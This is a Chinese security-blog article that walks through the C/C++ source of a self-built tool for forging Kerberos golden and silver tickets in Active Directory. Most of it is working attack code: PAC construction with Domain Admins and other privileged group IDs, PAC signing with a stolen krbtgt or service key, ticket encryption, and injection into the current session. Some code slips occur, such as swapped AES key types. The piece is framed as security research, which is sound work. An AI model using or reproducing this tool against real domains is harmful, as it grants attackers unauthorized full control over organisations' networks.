以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

渗透技巧 1年前 (2023) admin
302 0 0
原标题《How to Forge a Kerberos Ticket by Yourself》是霄壤实验室安全研究员「WHOAMI」表哥分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

WHOAMI


《内网渗透体系建设》作者之一,擅长Web渗透,系统研究过内网渗透、Windows活动目录和域环境渗透。

该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

(识别二维码,快速完成认证)

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。Kerberos协议在内网域渗透领域至关重要,黄金票据、白银票据、攻击域控等都离不开Kerberos协议。
在本篇文章中,作者通过自己构建的工具,试图带领大家探讨和伪造Kerberos票据,对内网渗透感兴趣的小伙伴一定要耐心读完,文章篇幅较长,阅读时间预计20分钟。


前言


票据伪造攻击是指攻击者通过伪造Kerberos票据来获取未经授权的访问权限。在这种攻击中,最常见的是伪造黄金票据(Golden Ticket)或白银票据(Silver Ticket)。

黄金票据攻击是一种高级的攻击技术,攻击者获取了域控制器的域控制器账户Krbtgt的Long-term Key(长期密钥,一般是哈希值),可以使用此密钥伪造任意特权账户的Ticket Granting Ticket(TGT),并为该TGT 插入任意的特权属性证书(Privilege Attribute Certificate Data Structure,PAC)。黄金票证使攻击者能够为Active Directory中的任何帐户生成身份验证材料,并完全获取的域内访问权限。

使用黄金票证,攻击者仍需要与密钥分发中心(KDC)交互才能获得 TGS。而白银票据就是通过已获取的应用程序服务器的Long-term Key,攻击者可以绕过KDC直接伪造TGS票据。伪造后的白银票据可以用来访问特定服务器上的服务或资源。

在过去一段时间中,我一直试图探索Mimikatz这款经典工具的内部实现,主要围绕Sekurlsa、Lsadump和Kerberos这几个模块开始研究。这个过程需要反汇编以及调试,并且想达到Mimikatz的高度是非常困难的。但是,如果我们只是想实现Mimikatz的某些功能,或者基于其源代码构建自己的工具,那么这个过程非常值得尝试。我在自己构建的工具时,再次阅读了 “[RFC4120] The Kerberos Network Authentication Service (V5)” 文档并参考了Mimikatz项目的源代码,使我对Kerberos协议的理解更加深入。在阅读源码时,我能够感受到Mimikatz项目的开发人员在其中投入了大量精力,因为其中涉及到许多未公开的结构。这里要感谢Benjamin Delpy(@gentilkiwi)以及Vincent Le Toux(@mysmartlogon)的杰出工作和辛苦付出。

Implemented By C/C++


主要功能


主函数可以通过GetArgsByName( )函数从命令行获取user、domain、service、target、sid以及rc4等主要参数,用于后续伪造票据,如下所示:

int wmain(int argc, wchar_t* argv[])
{
        LPCWSTR lpUser = NULL, lpDomain = NULL, lpService = NULL, lpTarget = NULL, lpKey = NULL, lpSid = NULL;
        BOOL isPtt = GetArgsByName(argc, argv, L"ptt", NULL, NULL);
        LONG dwKeyType = KERB_ETYPE_RC4_HMAC_NT;

        GetArgsByName(argc, argv, L"user", &lpUser, NULL);
        GetArgsByName(argc, argv, L"domain", &lpDomain, NULL);
        GetArgsByName(argc, argv, L"service", &lpService, NULL);
        GetArgsByName(argc, argv, L"target", &lpTarget, NULL);
        GetArgsByName(argc, argv, L"sid", &lpSid, NULL);

        if (GetArgsByName(argc, argv, L"rc4", &lpKey, NULL) || GetArgsByName(argc, argv, L"krbtgt", &lpKey, NULL))
                dwKeyType = KERB_ETYPE_RC4_HMAC_NT;
        if (GetArgsByName(argc, argv, L"des", &lpKey, NULL))
                dwKeyType = KERB_ETYPE_DES_CBC_MD5;
        if (GetArgsByName(argc, argv, L"aes128", &lpKey, NULL))
                dwKeyType = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
        if(GetArgsByName(argc, argv, L"aes256", &lpKey, NULL))
                dwKeyType = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96;
        GetArgsByName(argc, argv, L"rc4", &lpKey, NULL);

    // Do some initialization of the Kerberos authentication package
        if (!KerberosInit())
        {
                wprintf(L"[-] Failed to start kerberos initialization.n");
                return -1;
        }

        if (!KerberosGolden(lpUser, lpDomain, lpService, lpTarget, lpKey, dwKeyType, lpSid, isPtt))
        {
                wprintf(L"[-] Failed.n");
                return -1;
        }

        KerberosClean();
}

之后通过KerberosInit( )函数进行Kerberos身份验证包的一些初始化工作。


kerberos初始化


Kerberos Init( )函数定义如下,该函数主要LsaConnectUntrusted( ) 函数与LSA服务器建立不受信任的连接,然后通过 LsaLookupAuthenticationPackage( )函数获取Kerberos身份验证包的唯一标识符并保存到AuthenticationPackage变量中。

LSA_STRING KerberosPackageName = { 8, 9, (PCHAR)MICROSOFT_KERBEROS_NAME_A };
ULONG        AuthenticationPackage = 0;
BOOL        isAuthPackageKerberos = FALSE;
HANDLE        hLSA = NULL;

BOOL KerberosInit()
{
        BOOL status = FALSE;
        // Open LSA policy handle
        status = NT_SUCCESS(LsaConnectUntrusted(&hLSA));
        if (status)
        {
                // Lookup authentication package ID
                status = NT_SUCCESS(LsaLookupAuthenticationPackage(hLSA, &KerberosPackageName, &AuthenticationPackage));
                isAuthPackageKerberos = status;
        }
        return status;
}

这里主要是为了后续伪造黄金票据后,通过LsaCallAuthenticationPackage API将伪造的票据提交到内存中,暂时用不到。

接下来将调用KerberosGolden( )函数,执行票据伪造的过程,该函数定义如下:

BOOL KerberosGolden(LPCWSTR lpUser, LPCWSTR lpDomain, LPCWSTR lpService, LPCWSTR lpTarget, LPCWSTR lpKey, LONG dwKeyType, LPCWSTR lpSid, BOOL isPtt)
{
        BOOL status = FALSE;
        BYTE Key[AES_256_KEY_LENGTH] = { 0 };
        PWCHAR netbiosDomain = NULL;
        PISID pSid = NULL;
        PBERVAL BerAppKrbCred = NULL;
        KERBEROS_LIFETIME_DATA lifeTimeData;
        PKERB_ECRYPT pCSystem;

    // Intercept the NetBIOS Domain through the Domain provided by the user.
    // For example, get pentest via pentest.com.
        if (LPCWSTR baseDot = wcschr(lpDomain, L'.'))
        {
                DWORD i = (DWORD)((PBYTE)baseDot - (PBYTE)lpDomain);
                if (netbiosDomain = (PWCHAR)LocalAlloc(LPTR, i + sizeof(wchar_t)))
                        for (DWORD j = 0; j < i / sizeof(wchar_t); j++)
                                netbiosDomain[j] = towupper(lpDomain[j]);
        }
        // Find the encryption system of the dwKeyType type through the
    // CDLocateCSystem function and store it in the pCSystem structure.
        status = NT_SUCCESS(CDLocateCSystem(dwKeyType, &pCSystem));
        if (!status)
        {
                wprintf(L"[-] CDLocateCSystem Error [%u].n", GetLastError());
                return status;
        }
        // Convert user-supplied Long-term Key (NTLM) to Hex.
        if (StringToHex(lpKey, Key, pCSystem->KeySize))
        {
        // Generate three times for fake tickets: starttime, endtime and renew-till.
                GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);
                *(PULONGLONG)&lifeTimeData.TicketStart -= *(PULONGLONG)&lifeTimeData.TicketStart % 10000000;
                lifeTimeData.TicketRenew = lifeTimeData.TicketEnd = lifeTimeData.TicketStart;
                *(PULONGLONG)&lifeTimeData.TicketEnd += (ULONGLONG)10000000 * 60 * wcstoul(L"5256000", NULL, 0);
                *(PULONGLONG)&lifeTimeData.TicketRenew += (ULONGLONG)10000000 * 60 * wcstoul(L"5256000", NULL, 0);
                wprintf(L"   User            : %sn   Domain          : %s (%s)n", lpUser, lpDomain, netbiosDomain);
        }
        // Convert user-supplied SID to PSID type.
        status = ConvertStringSidToSidW(lpSid, (PSID*)&pSid);
        if (!status)
        {
                wprintf(L"[-] ConvertStringSidToSidW Error [%u].n", GetLastError());
                return status;
        }

        // Print some basic information.
        wprintf(L"   SID             : %sn   User Id         : %un   Groups Id       : *513 512 520 518 519n", lpSid, 500);
        wprintf(L"   ServiceKey      : ");        PrintfHex(Key, pCSystem->KeySize);        wprintf(L" - %sn", TicketEtype(dwKeyType));
        if(lpService) wprintf(L"   Service         : %sn", lpService);
        if(lpTarget) wprintf(L"   Target          : %sn", lpTarget);
        wprintf(L"   Start Time      : ");
        DisplayLocalFileTime(&lifeTimeData.TicketStart); wprintf(L"n");
        wprintf(L"   End Time        : ");
        DisplayLocalFileTime(&lifeTimeData.TicketEnd); wprintf(L"n");
        wprintf(L"   Renew Until     : ");
        DisplayLocalFileTime(&lifeTimeData.TicketRenew); wprintf(L"n");
        wprintf(L"   -> Ticket       : %snn", isPtt ? L"** Pass The Ticket **" : L"ticket.kirbi");

    // Enter the KerberosGenerateGoldenData function to start forging tickets.
        BerAppKrbCred = KerberosGenerateGoldenData(lpUser, lpDomain, lpService, lpTarget, &lifeTimeData, Key, pCSystem->KeySize, dwKeyType, pSid, netbiosDomain);
        if (BerAppKrbCred == NULL)
        {
                wprintf(L"[-] Failed to generate kerberos golden data.n");
                return NULL;
        }

        if (isPtt)
        {
        // Pass the ticket through the KerberosPTT function to submit the
        // forged ticket into memory.
                status = KerberosPTT(BerAppKrbCred->bv_val, BerAppKrbCred->bv_len);
                if (!status)
                {
                        wprintf(L"[-] Failed to pass the kerberos ticket.n");
                        return status;
                }
                wprintf(L"   * Golden ticket for '%s @ %s' successfully submitted for current session.n", lpUser, lpDomain);
        }
        return status;
}

初始化密钥及票证时间设置


KerberosGolden( )函数首先通过CDLocateCSystem( )函数找到dwKeyType参数指定的加密类型的加密系统,并存储在pCSystem结构体中。然后将用户提交的Key转换为大小为pCSystem->KeySize的Hex格式,如下所示:

status = NT_SUCCESS(CDLocateCSystem(dwKeyType, &pCSystem));
if (!status)
{
        wprintf(L"[-] CDLocateCSystem Error [%u].n", GetLastError());
    return status;
}

if (StringToHex(lpKey, Key, pCSystem->KeySize))
{
        // ...
}

这里的Key也就是服务器的Long-term Key(长期密钥),用于后续对PAC结构签名和加密票据的EncTicketPart部分,一般是服务器的哈希值。

然后,需要为伪造的票据设置三个时间:starttime、endtime和renew-till,分别对应票证有效的起始时间、票据将过期的时间和票证的绝对到期时间,如下所示:

GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);
*(PULONGLONG)&lifeTimeData.TicketStart -= *(PULONGLONG)&lifeTimeData.TicketStart % 10000000;
lifeTimeData.TicketRenew = lifeTimeData.TicketEnd = lifeTimeData.TicketStart;
*(PULONGLONG)&lifeTimeData.TicketEnd += (ULONGLONG)10000000 * 60 * wcstoul(L"5256000", NULL, 0);
*(PULONGLONG)&lifeTimeData.TicketRenew += (ULONGLONG)10000000 * 60 * wcstoul(L"5256000", NULL, 0);

然后将上述信息全部传入KerberosGenerateGoldenData( )函数,正式进入伪造票据的过程,该函数定义如下:

PBERVAL KerberosGenerateGoldenData(LPCWSTR lpUserName, LPCWSTR lpDomainName, LPCWSTR lpServiceName, LPCWSTR lpTargetName, PKERBEROS_LIFETIME_DATA pLifeTimeData, LPCBYTE Key, DWORD dwKeySize, DWORD dwKeyType, PISID pSid, LPCWSTR lpLogonDomainName)
{
    // A KERBEROS_TICKET structure is defined for temporary storage of ticket information.
        KERBEROS_TICKET ticket = { 0 };
        PKERB_VALIDATION_INFO pValidationInfo = NULL;
        PPACTYPE pacType = NULL;
        DWORD pacTypeSize = 0;
        LONG SignatureType;
        PBERVAL BerAppEncTicketPart = NULL, BerAppKrbCred = NULL;

    // These three times for temporarily storing tickets: starttime, endtime and renew-till.
        ticket.StartTime = pLifeTimeData->TicketStart;
        ticket.EndTime = pLifeTimeData->TicketEnd;
        ticket.RenewUntil = pLifeTimeData->TicketRenew;

    // The cname of the temporary storage ticket.
        if (ticket.ClientName = (PKERB_EXTERNAL_NAME)LocalAlloc(LPTR, sizeof(KERB_EXTERNAL_NAME)))
        {
                ticket.ClientName->NameCount = 1;
                ticket.ClientName->NameType = KRB_NT_PRINCIPAL;
                RtlInitUnicodeString(&ticket.ClientName->Names[0], lpUserName);
        }

    // The sname of the temporary storage ticket.
        if (ticket.ServiceName = (PKERB_EXTERNAL_NAME)LocalAlloc(LPTR, sizeof(KERB_EXTERNAL_NAME)))
        {
                ticket.ServiceName->NameCount = 2;
                ticket.ServiceName->NameType = KRB_NT_SRV_INST;
                RtlInitUnicodeString(&ticket.ServiceName->Names[0], lpServiceName ? lpServiceName : L"krbtgt");
                RtlInitUnicodeString(&ticket.ServiceName->Names[1], lpTargetName ? lpTargetName : lpDomainName);
        }

        RtlInitUnicodeString((PUNICODE_STRING) & ticket.DomainName, lpDomainName);
    // The crealm,realm of the temporary storage ticket.
        ticket.TargetDomainName = ticket.AltTargetDomainName = ticket.DomainName;
    // The flags of the temporary storage ticket.
        ticket.TicketFlags = (lpServiceName ? 0 : KERB_TICKET_FLAGS_initial) | KERB_TICKET_FLAGS_pre_authent | KERB_TICKET_FLAGS_renewable | KERB_TICKET_FLAGS_forwardable;
    // The tkt-vno of the temporary storage ticket.
        ticket.TicketKvno = 5;
    // The key (session key) of the temporary storage ticket.
        ticket.TicketEncType = ticket.KeyType = dwKeyType;
        ticket.Key.Length = dwKeySize;
        if (ticket.Key.Value = (PUCHAR)LocalAlloc(LPTR, ticket.Key.Length))
        // Generate a random session key.
                CDGenerateRandomBits(ticket.Key.Value, ticket.Key.Length);

    // Select an appropriate signature type according to dwKeyType for
    // subsequent signing of the pac structure.
        switch (dwKeyType)
        {
        case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:
                SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES128;
                break;
        case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:
                SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES256;
                break;
        case KERB_ETYPE_DES_CBC_MD5:
                SignatureType = KERB_CHECKSUM_DES_MAC;
                break;
        case KERB_ETYPE_RC4_HMAC_NT:
        default:
                SignatureType = KERB_CHECKSUM_HMAC_MD5;
        }

        // Enter the GenerateValidationInfo function to generate a KERB_VALIDATION_INFO
    // type buffer for PAC.
        if (pValidationInfo = GenerateValidationInfo(&pLifeTimeData->TicketStart, lpUserName, lpDomainName, lpLogonDomainName, pSid))
        {
        // Build the PAC structure through the generated KERB_VALIDATION_INFO buffer.
                if (ValidationInfoToPAC(pValidationInfo, SignatureType, &pacType, &pacTypeSize))
                {
                        wprintf(L"    * PAC generated.n");
            // Sign the constructed PAC structure
                        if (GeneratePacSignatureData(pacType, pacTypeSize, SignatureType, Key, dwKeySize))
                        {
                                wprintf(L"    * PAC signed.n");
                        }
                }               
        }

        // Generate the EncTicketPart part of the ticket.
        if (BerAppEncTicketPart = GenerateAppEncTicketPart(&ticket, pacType, pacTypeSize))
        {
                wprintf(L"    * EncTicketPart generated.n");
        // Encrypt the generated EncTicketPart, which uses the long-term key of
        // the kdc/application server.
                if (KerberosEncrypt(dwKeyType, KRB_KEY_USAGE_AS_REP_TGS_REP, Key, dwKeySize, BerAppEncTicketPart->bv_val, BerAppEncTicketPart->bv_len, (LPVOID*)&ticket.EncTicketPart.Value, &ticket.EncTicketPart.Length, TRUE))
                {
                        wprintf(L"    * EncTicketPart encrypted.n");
            // Construct the KRB_CRED structure data and embed the generated ticket in it.
                        if (BerAppKrbCred = GenerateAppKrbCred(&ticket))
                        {
                                wprintf(L"    * KrbCred generated.nn");
                        }
                }               

        // Print some basic information.
                wprintf(L"   Client Name     : %wZ @ %wZn", &ticket.ClientName->Names, &ticket.AltTargetDomainName);
                wprintf(L"   Service Name    : %wZ @ %wZn", &ticket.ServiceName->Names, &ticket.DomainName);
                wprintf(L"   Target Name     : %wZ @ %wZn", &ticket.ServiceName->Names, &ticket.TargetDomainName);
                wprintf(L"   Encryption Type : %s", TicketEtype(ticket.KeyType)); wprintf(L"n");
                wprintf(L"   Session Key     : ");
                PrintfHex(ticket.Key.Value, ticket.Key.Length); wprintf(L"n");
                wprintf(L"   Flags %08x  : ", ticket.TicketFlags);
                DisplayFlags(ticket.TicketFlags); wprintf(L"n");
                wprintf(L"   Start Time      : ");
                DisplayLocalFileTime((PFILETIME)&ticket.StartTime); wprintf(L"n");
                wprintf(L"   End Time        : ");
                DisplayLocalFileTime((PFILETIME)&ticket.EndTime); wprintf(L"n");
                wprintf(L"   Renew Until     : ");
                DisplayLocalFileTime((PFILETIME)&ticket.RenewUntil); wprintf(L"nn");
        }

        LocalFree(ticket.EncTicketPart.Value);
        ber_bvfree(BerAppEncTicketPart);

        if (pacType)
                LocalFree(pacType);
        if (pValidationInfo)
                LocalFree(pValidationInfo);
        if (ticket.Key.Value)
                LocalFree(ticket.Key.Value);
        if (ticket.ClientName)
                LocalFree(ticket.ClientName);
        if (ticket.ServiceName)
                LocalFree(ticket.ServiceName);

        return BerAppKrbCred;
}

初始化票证数据


在KerberosGenerateGoldenData( )函数中,首先定义了一个KERBEROS_TICKET结构体ticket,如下所示:

typedef struct _KERBEROS_TICKET {
        PKERB_EXTERNAL_NAME        ServiceName;
        LSA_UNICODE_STRING        DomainName;
        PKERB_EXTERNAL_NAME        TargetName;
        LSA_UNICODE_STRING        TargetDomainName;
        PKERB_EXTERNAL_NAME        ClientName;
        LSA_UNICODE_STRING        AltTargetDomainName;

        LSA_UNICODE_STRING        Description;

        FILETIME                StartTime;
        FILETIME                EndTime;
        FILETIME                RenewUntil;

        LONG                        KeyType;
        KERBEROS_BUFFER            Key;

        ULONG                          TicketFlags;
        LONG                        TicketEncType;
        ULONG                        TicketKvno;
        KERBEROS_BUFFER            EncTicketPart;
} KERBEROS_TICKET, * PKERBEROS_TICKET;

然后将票据中的各种数据暂时存储在该结构中,包括票据中的服务名称、域名、服务主体名称、客户端名称、票据生效时间、票据过期时间、票据绝对过期时间、会话密钥、票据标志以及 EncTicketPart 序列的加密编码等,如下所示:

ticket.StartTime = pLifeTimeData->TicketStart;
ticket.EndTime = pLifeTimeData->TicketEnd;
ticket.RenewUntil = pLifeTimeData->TicketRenew;

if (ticket.ClientName = (PKERB_EXTERNAL_NAME)LocalAlloc(LPTR, sizeof(KERB_EXTERNAL_NAME)))
{
    ticket.ClientName->NameCount = 1;
    ticket.ClientName->NameType = KRB_NT_PRINCIPAL;
    RtlInitUnicodeString(&ticket.ClientName->Names[0], lpUserName);
}

if (ticket.ServiceName = (PKERB_EXTERNAL_NAME)LocalAlloc(LPTR, sizeof(KERB_EXTERNAL_NAME)))
{
    ticket.ServiceName->NameCount = 2;
    ticket.ServiceName->NameType = KRB_NT_SRV_INST;
    RtlInitUnicodeString(&ticket.ServiceName->Names[0], lpServiceName ? lpServiceName : L"krbtgt");
    RtlInitUnicodeString(&ticket.ServiceName->Names[1], lpTargetName ? lpTargetName : lpDomainName);
}

RtlInitUnicodeString((PUNICODE_STRING) & ticket.DomainName, lpDomainName);
ticket.TargetDomainName = ticket.AltTargetDomainName = ticket.DomainName;
ticket.TicketFlags = (lpServiceName ? 0 : KERB_TICKET_FLAGS_initial) | KERB_TICKET_FLAGS_pre_authent | KERB_TICKET_FLAGS_renewable | KERB_TICKET_FLAGS_forwardable;
ticket.TicketKvno = 5;
ticket.TicketEncType = ticket.KeyType = dwKeyType;
ticket.Key.Length = dwKeySize;
if (ticket.Key.Value = (PUCHAR)LocalAlloc(LPTR, ticket.Key.Length))
    CDGenerateRandomBits(ticket.Key.Value, ticket.Key.Length);    // 生成一个随机的会话密钥

然后,根据用户提供的加密类型参数,选择一个合适的签名加密类型并保存在SignatureType变量中,用于后面对PAC结构进行签名:

switch (dwKeyType)
{
        case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:
            SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES128;
    break;
          case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:
            SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES256;
            break;
          case KERB_ETYPE_DES_CBC_MD5:
        SignatureType = KERB_CHECKSUM_DES_MAC;
        break;
          case KERB_ETYPE_RC4_HMAC_NT:
          default:
            SignatureType = KERB_CHECKSUM_HMAC_MD5;
}

接下来将进入生成并签名PAC结构的过程。


生成并签署PAC类型


Kerberos作为一种身份验证服务,提供了一种验证网络主体身份的方法。身份验证通常主要用作授权过程的第一步,确定客户端是否可以使用服务、允许客户端访问哪些对象以及每个对象允许的访问类型。

但是,Kerberos本身不提供授权。拥有服务的客户端票据仅提供客户端对该服务的身份验证,并且在没有单独的授权过程的情况下,应用程序不应认为它授权使用该服务。

因此,微软创建了特权属性证书(Privilege Attribute Certificate Data Structure,PAC),为Kerberos协议扩展提供授权数据。

PAC结构将授权信息编码后嵌入票据的AuthorizationData结构中,其中包括组成员身份、附加凭据信息、配置文件和策略信息以及支持安全元数据。

PAC

PAC的结构如下图所示:

以攻促防丨霄壤实验室安全研究员亲传「如何自己伪造kerberos票据」

其中,AuthorizationData元素是一个AD-IF-RELEVANT类型,作为PAC最外层的包装器。它封装了AD-WIN2K-PAC类型的另一个AuthorizationData元素,该结构内部是PACTYPE结构,它充当实际PAC结构的标头。紧接着PACTYPE标头的是一系列PAC_INFO_BUFFER结构,这些PAC_INFO_BUFFER结构充当指向此标头后面的PAC内容的指针。

上图说明了AuthorizationData元素的构造方式,该元素以一组连续的结构开始,但元素的其余部分由数据块驻留的空间组成。这些块由初始连续结构(如图中的类型1、6和C块)或另一个块(如类型C数据块引用的数据块)中的指针引用。该空间中的数据块不会重叠,但不必是连续的或以任何特定顺序。


PACTYPE

PACTYPE结构是PAC的最顶层结构,指定PAC_INFO_BUFFER数组中的元素数量。PACTYPE结构充当完整PAC数据的标头,其结构定义如下:

typedef struct _PACTYPE {
        ULONG cBuffers;
        ULONG Version;
        PAC_INFO_BUFFER Buffers[1];
} PACTYPE, *PPACTYPE;
  • cBuffers:定义Buffers数组中的条目数。

  • Version:定义PAC版本,必须是0x00000000。

  • Buffers:PAC_INFO_BUFFER结构的数组。

PAC的实际内容连续放置在PAC_INFO_BUFFER结构的变量集之后,内容是单独序列化的PAC元素,所有PAC元素必须放置在8字节边界上。

PAC_INFO_BUFFER

PACTYPE结构后面是PAC_INFO_BUFFER结构数组,每个结构定义PAC缓冲区的类型和字节偏移量,该结构定义如下。

PAC信息缓冲区数组没有定义的顺序。因此,PAC信息缓冲区的顺序没有意义。然而,一旦生成了KDC签名和服务器签名,缓冲区的顺序就不得更改,否则PAC内容的签名验证将会失败。

typedef struct _PAC_INFO_BUFFER {
        ULONG ulType;
        ULONG cbBufferSize;
        ULONG64 Offset;
} PAC_INFO_BUFFER, *PPAC_INFO_BUFFER;
  • ulType:描Offset处包含的缓冲区中存在的数据类型。

  • cbBufferSize:包含PAC中位于Offset处的缓冲区的大小。

  • Offset:包含从PACTYPE结构的开头到缓冲区开头的偏移量,数据偏移量必须是8的倍数。

具体的ulType类型如下表所示:


意义
0x00000001 登录信息。PAC结构必须包含一个此类缓冲区。必须忽略其他登录信息缓冲区。
0x00000002 凭据信息。根据第2.6节中规定的约束条件,PAC结构不应包含一个以上的此类缓冲区。第二个或后续凭据信息缓冲区必须在收到时忽略。
0x00000006 服务器校验和。PAC结构必须包含一个此类缓冲区。必须忽略其他登录服务器校验和缓冲区。
0x00000007 KDC(特权服务器)校验和(第2.8节)。PAC结构必须包含一个这种类型的缓冲区。必须忽略其他KDC校验和缓冲区。
0x0000000A 客户名称和票证信息。PAC结构必须包含一个此类缓冲区。必须忽略其他客户端和票证信息缓冲区。
0x0000000B 受约束的委派信息。PAC结构必须包含一个用于用户到代理服务(S4U2proxy)[MS-SFU]请求的此类缓冲区,否则不得包含任何缓冲区。必须忽略其他受约束的委派信息缓冲区。
0x0000000C 用户主体名称(UPN)和域名系统(DNS)信息。PAC结构不应包含多个此类缓冲区。第二个或随后的UPN和DNS信息缓冲区必须在收到时忽略。
0x0000000D 客户索赔信息。PAC结构不应包含多个此类缓冲区。必须忽略其他客户端声明信息缓冲区。
0x0000000E 设备信息。PAC结构不应包含多个此类缓冲区。必须忽略其他设备信息缓冲区。
0x0000000F 设备声明信息。PAC结构不应包含多个此类缓冲区。必须忽略其他设备声明信息缓冲区。
0x00000010‍‍ 票证校验和PAC结构不应包含多个此类缓冲区。必须忽略其他票证校验和缓冲区。

KERB_VALIDATION_INFO

KERB_VALIDATION_INFO结构定义了由域控制器提供的用户登录和授权信息,该结构的指针被序列化为字节数组,然后放置在顶级PACTYPE结构的Buffers数组之后,放置的偏移量由对应的PAC_INFO_BUFFER结构的Offset字段指定。对应的PAC_INFO_BUFFER结构的ulType字段设置为0x00000001。

PAC验证身份的主要实现就是依靠这个路缘石验证信息结构,其定义如下:

typedef struct _KERB_VALIDATION_INFO {
    FILETIME LogonTime;
    FILETIME LogoffTime;
    FILETIME KickOffTime;
    FILETIME PasswordLastSet;
    FILETIME PasswordCanChange;
    FILETIME PasswordMustChange;
    RPC_UNICODE_STRING EffectiveName;
    RPC_UNICODE_STRING FullName;
    RPC_UNICODE_STRING LogonScript;
    RPC_UNICODE_STRING ProfilePath;
    RPC_UNICODE_STRING HomeDirectory;
    RPC_UNICODE_STRING HomeDirectoryDrive;
    USHORT LogonCount;
    USHORT BadPasswordCount;
    ULONG UserId;
    ULONG PrimaryGroupId;
    ULONG GroupCount;
    [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
    ULONG UserFlags;
    USER_SESSION_KEY UserSessionKey;
    RPC_UNICODE_STRING LogonServer;
    RPC_UNICODE_STRING LogonDomainName;
    PISID LogonDomainId;
    ULONG Reserved1[2];
    ULONG UserAccountControl;
    ULONG SubAuthStatus;
    FILETIME LastSuccessfulILogon;
    FILETIME LastFailedILogon;
    ULONG FailedILogonCount;
    ULONG Reserved3;
    ULONG SidCount;
    [size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
    PISID ResourceGroupDomainSid;
    ULONG ResourceGroupCount;
        [size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;

其中的GroupIds这个成员是指向GROUP_MEMBERSHIP结构列表的指针,该列表包含域中帐户所属的组。如果我们可以修改GroupIds成员,将其修改为特权组,那么就可以达到域内账户提权的效果,比如众所周知的MS14-068漏洞。

不过,为了防止PAC内容被篡改,微软后来在PAC结构中加入了服务器检验和(Server Checksum) 与KDC校验和(KDC Checksum),他们对应的PAC_INFO_BUFFER结构的ulType字段分别为0x00000007和0x00000006。

前文中,KerberosGenerateGoldenData( ) 中调用的 GenerateValidationInfo( )函数的主要作用就是生成一个KERB_VALIDATION_INF 结构并保存在pValidationInfo变量中,以便后续插入到PAC结构中,如下所示:

PKERB_VALIDATION_INFO GenerateValidationInfo(PFILETIME pAuthtime, LPCWSTR lpUserName, LPCWSTR lpDomainName, LPCWSTR lpLogonDomainName, PISID pSid)
{
        PKERB_VALIDATION_INFO pValidationInfo = NULL;
        GROUP_MEMBERSHIP defaultGroups[] = { {513, DEFAULT_GROUP_ATTRIBUTES}, {512, DEFAULT_GROUP_ATTRIBUTES}, {520, DEFAULT_GROUP_ATTRIBUTES}, {518, DEFAULT_GROUP_ATTRIBUTES}, {519, DEFAULT_GROUP_ATTRIBUTES}, };
        PGROUP_MEMBERSHIP pDefaultGroups = (PGROUP_MEMBERSHIP)LocalAlloc(LPTR, sizeof(defaultGroups));
        RtlCopyMemory(pDefaultGroups, defaultGroups, sizeof(defaultGroups));
#define NEVERTIME(filetime)        (*(PLONGLONG) filetime = MAXLONGLONG)
        if (pValidationInfo = (PKERB_VALIDATION_INFO)LocalAlloc(LPTR, sizeof(KERB_VALIDATION_INFO)))
        {
                pValidationInfo->LogonTime = *pAuthtime;
                // The values of the five timestamp member variables are all set to a
        // constant MAXLONGLONG representing the maximum possible time in the future.
                NEVERTIME(&pValidationInfo->LogoffTime);
                NEVERTIME(&pValidationInfo->KickOffTime);
                NEVERTIME(&pValidationInfo->PasswordLastSet);
                NEVERTIME(&pValidationInfo->PasswordCanChange);
                NEVERTIME(&pValidationInfo->PasswordMustChange);
                RtlInitUnicodeString((PUNICODE_STRING)&pValidationInfo->EffectiveName, lpUserName);
                pValidationInfo->UserId = 500;
                pValidationInfo->PrimaryGroupId = defaultGroups[0].RelativeId;
                pValidationInfo->GroupCount = ARRAYSIZE(defaultGroups);
                pValidationInfo->GroupIds = pDefaultGroups;
                if (lpLogonDomainName)
                        RtlInitUnicodeString((PUNICODE_STRING)&pValidationInfo->LogonDomainName, lpLogonDomainName);
                pValidationInfo->LogonDomainId = pSid;
                pValidationInfo->UserAccountControl = USER_DONT_EXPIRE_PASSWORD | USER_NORMAL_ACCOUNT;
                pValidationInfo->SidCount = 0;
                pValidationInfo->ExtraSids = NULL;
        }
        return pValidationInfo;
}

PAC_CLIENT_INFO

PAC_CLIENT_INFO结构是PAC的可变长度缓冲区,包含客户端的名称和认证时间,该结构定义如下:

typedef struct _PAC_CLIENT_INFO {
        FILETIME ClientId;
        USHORT NameLength;
        WCHAR Name[1];
} PAC_CLIENT_INFO, *PPAC_CLIENT_INFO;

它用于验证PAC与票据的客户端相对应。PAC_CLIENT_INFO结构直接放置在顶级PACTYPE结构的Buffers数组之后,放置的偏移量由对应的PAC_INFO_BUFFER结构的Offset字段指定。对应的PAC_INFO_BUFFER结构的ulType字段设置为 0x0000000A。

PAC_SIGNATURE_DATA

有两个PAC签名数据结构必须被附加到PAC中,分别用于存储服务器签名和KDC签名信息,该结构定义如下:

typedef struct _PAC_SIGNATURE_DATA {
        ULONG SignatureType;
        UCHAR Signature[ANYSIZE_ARRAY];
} PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA;

